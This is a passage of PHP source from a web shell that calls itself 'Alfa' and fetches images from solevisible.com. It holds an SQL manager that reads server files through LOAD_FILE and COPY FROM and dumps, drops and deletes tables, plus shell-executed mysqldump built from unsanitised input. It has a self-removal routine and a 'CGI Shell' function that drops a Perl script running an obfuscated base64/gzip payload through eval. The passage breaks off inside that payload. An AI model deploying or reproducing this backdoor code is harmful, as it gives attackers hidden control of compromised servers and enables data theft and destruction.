}else{
	$this->mysqli_connect_error = true;
	$this->mysqli_connect_error_msg = mysqli_connect_error();
	return false;
}
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case 'mysql':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case 'mysql':
return $this->res = @mysqli_query($this->link,$str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case 'mysql':
return @mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error(){
switch($this->type){
case 'mysql':
return @mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysqli_set_charset($this->link,$str);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table solevisible');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
alfahead();
$form_visibility = "table";
if(isset($_POST['sql_host'])){
	$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
	if($connection_db && !empty($_POST['sql_base'])){
		$form_visibility = "none";
	}
}
$database_list = array();
echo "
<div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
<div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name='type'><option value='mysql' selected>mysql</option></select></td>
<td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
if(isset($_POST['sql_host'])){
if($connection_db){
$db->setCharset('utf8');
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}else{
	echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST['current_mysql_id'];
echo "</td>
<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
<td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
	echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
}
if(!empty($curr_mysql_id)){
	$sql_title_db = "";
	if(!empty($_POST['sql_base'])){
		$sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
	}
	echo "<script>mysql_cache['".$curr_mysql_id."']['host']='".addslashes($_POST['sql_host'])."';mysql_cache['".$curr_mysql_id."']['user']='".addslashes($_POST['sql_login'])."';mysql_cache['".$curr_mysql_id."']['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['".$curr_mysql_id."']['db']='".addslashes($_POST['sql_base'])."';mysql_cache['".$curr_mysql_id."']['charset']='".addslashes($_POST['charset'])."';mysql_cache['".$curr_mysql_id."']['type']='".addslashes($_POST['type'])."';mysql_cache['".$curr_mysql_id."']['count']='".addslashes($_POST['sql_count'])."';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST['sql_base'])){
echo "<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&#x3C;&#x3C;</div><div class='mysql-tables'><div><input placeholder=\"Filter Table\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search</button></div><div class='block'><a sql_count='".(empty($_POST['sql_count'])?"false":"true")."' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http://solevisible.com/icons/menu/b_plus.png' title='Expand/Collapse All DataBases' alt='Expand/Collapse All DataBases'></a></div><ul style='margin-top: 28px;'>";
foreach ($database_list as $db_name) {
	echo '<li><div class="block"><i></i><b></b><a sql_count="'.(empty($_POST['sql_count'])?"false":"true").'" db_target="'.$db_name.'" onclick="alfaMysqlExpander(this);" class="expander cls-'.$db_name.'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/'.($db_name == $_POST['sql_base']?"b_minus.png":"b_plus.png").'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">'.$db_name.'</span><div class="clearfloat"></div><div db_name="'.$db_name.'" mode="'.($db_name == $_POST['sql_base']?"loaded":"no").'" class="list_container cls-'.$db_name.'"><div>';
	if($db_name == $_POST['sql_base']){
		$db->selectdb($_POST['sql_base']);
		$tbls_res = $db->listTables();
		echo '<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-'.$db_name.'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';
		while($item = $db->fetch($tbls_res)){
		list($key, $value) = each($item);
		if(!empty($_POST['sql_count']))
		$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
		$value = htmlspecialchars($value);
		echo "<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a class='db-opt-id' db_target='".$db_name."' href='javascript:void(0);' onclick=\"alfaLoadTableData(this,'".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</div></li>";
		}
		echo '</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-'.$db_name.'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-'.$db_name.'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="'.$db_name.'" target=".cls-'.$db_name.'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>';
	}
	echo "</div></li>";
}
echo "</ul></div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result</div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query</div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search</div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure</div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert</div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit</div></div><div class='mysql-query-content mysql-insert-row mysql-hide-content'></div><div class='mysql-query-content mysql-edit-row mysql-hide-content'></div><div class='mysql-query-content mysql-search-area mysql-hide-content'></div><div class='mysql-query-content mysql-structure mysql-hide-content'></div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:</span></div><textarea name='query' style='width:90%;height:100px'></textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='".$_POST['sql_base']."' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '></div></p></div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'></div><div class='mysql-query-pager'></div></div><div class='mysql-query-table'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo '</div>';
alfafooter();
}
function alfaSql_manager_api(){
	$db = $_POST["alfa1"];
	$type = $_POST["alfa2"];
	$sql_count = $_POST["alfa3"] == "true" ? true : false;
	$db = @json_decode($db, true);
	$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
	@mysqli_set_charset($conn, "utf8");
	if($conn){
		if($type == "load_all_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('".implode("','", $db["databases"])."');");
			$count = 0;
			while($row = @mysqli_fetch_assoc($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row["table_schema"].'`.`'.$row["table_name"].'`');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
			}
			foreach($db["databases"] as $db){
				if(!isset($tables[$db])){
					$tables[$db] = null;
				}
			}
			echo @json_encode($tables);
		}elseif($type == "dump_drop"){
			if($db["mode"] == "drop"){
				foreach ($db["tables"] as $table) {
					@mysqli_query($conn, "DROP TABLE `".$table."`;");
				}
				$tables = array();
				$q_tables = @mysqli_query($conn, "SHOW TABLES;");
				$count = 0;
				while($row = @mysqli_fetch_array($q_tables)){
					if($sql_count){
						$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
						if($count_q){
							$count = @mysqli_fetch_row($count_q);
							$count = $count[0];
						}
					}
					$tables[] = array("name" => $row[0], "count" => (int)$count);
				}
				echo @json_encode($tables);
			}else{
				if(strlen(alfaEx("mysqldump"))>0){
					alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])."  > ".$db["dump_file"]);
				}else{
					$fp = @fopen($db["dump_file"], "w");
					foreach ($db["tables"] as $table) {
						$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');
						$create = @mysqli_fetch_array($res);
						$sql = "DROP TABLE IF EXISTS `".$table."`;\n" . $create[1].";\n";
						if($fp) fwrite($fp, $sql); else echo($sql);
						$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');
						$head = true;
						while($item = @mysqli_fetch_assoc($tbl_data)){
							$columns = array();
							foreach($item as $k=>$v) {
							if($v == null)
							$item[$k] = "''";
							elseif(is_numeric($v))
							$item[$k] = $v;
							else
							$item[$k] = "'".@mysqli_real_escape_string($conn, $v)."'";
							$columns[] = "`".$k."`";
							}
							if($head) {
							$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
							$head = false;
							} else
							$sql = "\n\t,(".implode(", ", $item).')';
							if($fp) fwrite($fp, $sql); else echo($sql);
						}
						if(!$head)
							if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
					}
				}
				echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
			}
		}elseif($type == "load_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SHOW TABLES;");
			$count = 0;
			while($row = @mysqli_fetch_array($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[] = array("name" => $row[0], "count" => (int)$count);
			}
			echo @json_encode($tables);
		}elseif($type == "alter"){
			$db["alter"]["type"] = strtolower($db["alter"]["type"]);
			$inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";
			$text_input = array("longtext", "text", "mediumtext", "tinytext");
			if(in_array($db["alter"]["type"], $text_input)){
				$inputs = $db["alter"]["type"];
			}
			@mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);
			$error = @mysqli_error($conn);
			if($error){
				echo $error;
			}else{
				echo "ok";
			}
		}elseif($type == "edit" || $type == "delete" || $type == "delete_all"){
			if($type == "edit"){
				$q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = '".addslashes($db["key"])."' LIMIT 0,1");
				$row = @mysqli_fetch_assoc($q);
				if($row){
					$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
					$columns = array();
					$edit_data = array();
					while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
						$input = array("col_type" => $row2["COLUMN_TYPE"]);
						$row2["type"] = strtolower($row2["type"]);
						switch($row2["type"]){
							case "longtext": case "text": case "mediumtext": case "tinytext":
								$input["tag"] = "textarea";
							break;
							case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":
								$input["tag"] = "input";
								$input["type"] = "number";
							break;
							default:
								$input["tag"] = "input";
								$input["type"] = "text";
						}
						$columns[$row2["name"]] = $input;
					}
					foreach($row as $key => $v){
						$edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
					}
					echo @json_encode($edit_data);
				}
			}else{
				if($type == "delete_all"){
					$rows = implode("', '", $db["rows"]);
				}else{
					$rows = addslashes($db["key"]);
				}
				$query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN ('".$rows."')";
				@mysqli_query($conn, $query);
				$error = @mysqli_error($conn);
				if($error){
				 	$status = false;
				}else{
				 	$status = true;
				}
				echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
			}
		}elseif($type == "update"){
			$query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";
			foreach($db["data"] as $col => $val){
				$query .= "`".$col."` = '".mysqli_real_escape_string($conn, $val)."',";
			}
			$query = substr($query, 0, -1);
		    $query .= "WHERE `".$db["col_key"]."` = '".$db["key"]."'";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}elseif($type == "insert"){
			$query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";
			foreach($db["data"] as $col => $val){
				$cols .= $col . ",";
				$vals .= "'".mysqli_real_escape_string($conn, $val)."',";
			}
			$cols = substr($cols, 0, -1);
			$vals = substr($vals, 0, -1);
			$query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
			$res = @mysqli_query($conn, $query);
			echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
		}else{
			$pages = 0;
			$title = false;
			$query = "";
			$tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
			$line = 0;
			$tables = array();
			$columns = array();
			if($type == "load_data"){
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";
				$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");
				$tbl_count = @mysqli_fetch_row($tbl_count_q);
				$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '".$db["db"]."' AND `TABLE_NAME` = '".$db["table"]."'");
				while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
					$columns[] = $row2;
				}
				if($tbl_count[0] > 30){
					$pages = ceil($tbl_count[0] / 30);
				}
			}elseif($type == "query"){
				$query = $db["query"];
			}elseif($type == "page"){
				$db["page"] = (int)$db["page"] - 1;
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";
			}elseif($type == "search"){
				$search = "";
				$search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
				foreach($db["search"] as $col => $val){
					$search_noval_r = in_array($val["opt"], $search_noval);
					if(empty($val["value"]) && !$search_noval_r)continue;
					if(strstr($val["opt"], "...") || $search_noval_r){
						$val["opt"] = str_replace("...", $val["value"], $val["opt"]);
						$search .= $col . " " . $val["opt"] . " AND ";
					}else{
						$search .= $col . " " . $val["opt"] . " '".addslashes($val["value"])."' AND ";
					}
				}
				$search .= "1=1";
				$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;
			}
			$q_tables = @mysqli_query($conn, $query);
			if(!$q_tables){
				echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
				return false;
			}
			$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($db["db"])."' AND TABLE_NAME = '".@addslashes($db["table"])."' AND COLUMN_KEY = 'PRI'");
			if($col_key){
				$col_key = @mysqli_fetch_row($col_key);
				$col_key = $col_key[0];
				if(!empty($col_key)){
					$tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="'.$col_key.'" tbl_name="'.$db["table"].'" db_id="'.$db["db_id"].'" 	db_target="'.$db["db"].'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
				}
			}else{
				$col_key = false;
			}
			while($item = @mysqli_fetch_assoc($q_tables)){
				if(!$title){
					$tbl_content .= '<tr style="background-color:#305b8e;">';
					if($col_key){
						$tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="'.$db["db_id"].'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
					}
					foreach($item as $key => $value){
						$tbl_content .= '<th>'.$key.'</th>';
					}
					reset($item);
					$title=true;
					$tbl_content .= '</tr><tr>';
				}

				if($col_key){
					$cacheMsg = '<td style="text-align:center;"><input row_id="'.$line.'" type="checkbox" name="tbl_rows_checkbox[]" value="'.$item[$col_key].'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="'.$db["db_id"].'" db_target="'.$db["db"].'" tbl_name="'.$db["table"].'" col_key="'.$col_key.'" key="'.$item[$col_key].'" row_id="'.$line.'" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
				}
				$tbl_content .= '<tr class="tbl_row tbl_row_l'.$line.'">'.$cacheMsg;
				$line++;
				foreach($item as $key => $value){
					if($value == null){
						$tbl_content .= '<td><i>null</i></td>';
					}else{
						$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'</td>';
				}
				}
				$tbl_content .= '</tr>';
			}
			$tbl_content .= '</table>';
			if(!$title){
				$tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
			}
			echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
		}
		@mysqli_close($conn);
	}
}
function alfaselfrm(){
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
echo(__pre().'<center>');
if(@unlink($GLOBALS['__file_path'])){
echo('<b>Shell has been removed</i> :)</b>');
}else{
echo 'unlink error!';
}
echo('</center>');
}
if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
echo "<div class=header>";
echo "
<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
echo '</p></center></div>';
}
}
function alfacgishell(){
alfahead();
$div = "";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
if(!in_array($_POST['alfa1'],array('perl','py'))){
$div = "</div>";
echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'perl\')">| Perl | </a><a class="rejectme" href="javascript:void(0)" onclick="runcgi(\'py\');">| Python | </a>';
}
if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$name = $_POST['alfa1'].'.alfa';
$perl = '#!/usr/bin/perl   -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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